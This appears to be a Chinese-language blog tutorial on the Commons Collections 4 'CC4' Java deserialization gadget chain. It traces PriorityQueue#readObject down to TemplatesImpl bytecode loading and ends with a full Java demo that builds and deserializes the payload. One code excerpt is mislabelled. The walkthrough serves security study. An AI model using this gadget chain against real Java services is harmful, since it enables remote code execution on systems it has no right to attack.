cc4


CC4

1.环境配置

CC4其实就是CommonsCollections4版本的反序列化漏洞的链子,而之前的CC1、CC3、CC6都是用的CommonsCollections <= 3.1.2的版本,环境搭建的话,直接在之前的maven项目的pom.xml中添加版本就行

1
2
3
4
5
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>

JAVA安全初探(三):CC1链全分析-先知社区

注意打开这些配置,不然可能配置的源码下不下来。

image-20251207025052637

链子分析

TransformingComparator#compare()

由于TransformingComparator类在commons-collections3没有实现序列化接口,而commons-collections4实现了,所以才有CC4链的存在。首先我们看一下tranform()方法的用法,找到TransformingComparator#compare()方法

image-20251207031740667

看看可不可控

image-20251207032530634

构造方法是公开属性的,属性是可控的,那我们看一下谁调用了compare()方法

PriorityQueue#siftDownUsingComparator()

image-20251208015353150

在PriorityQueue类里的siftDownUsingComparator方法调用了compare方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

私有属性,并且comparator可控,从公开属性的构造方法中可以看出

1
2
3
4
5
6
7
8
9
    public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

PriorityQueue#siftDown()

看看有没有能调用他的,在本类的siftDown()方法中找到用法

1
2
3
4
5
6
    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

私有属性,我们继续往前找

PriorityQueue#heapify()

1
2
3
4
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

也是私有属性,继续往前摸,在本类的readObject()方法下找到

PriorityQueue#readObject()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

所以我们的链子是这样的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
PriorityQueue#readObject()->
      PriorityQueue#heapify()->
        PriorityQueue#siftDown()->    
            PriorityQueue#siftDownUsingComparator()->
                    TransformingComparator#compare()->
    						
    					//CC3后半段
    					ChainedTransformer#transform()->
                        	InstantiateTransformer#transform()->
                            		TemplatesImpl#newTransformer()->
                                		defineClass()->newInstance()->

EXP编写

结合CC3的后半段写个demo调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?> c = templates.getClass();

        Field _name = c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates, "a");

        Field _bytecodes = c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\cc4\\src\\main\\java\\org.example\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates, codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        serialize(priorityQueue);
        unserialize("CC4.txt");
    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

}
谢谢观看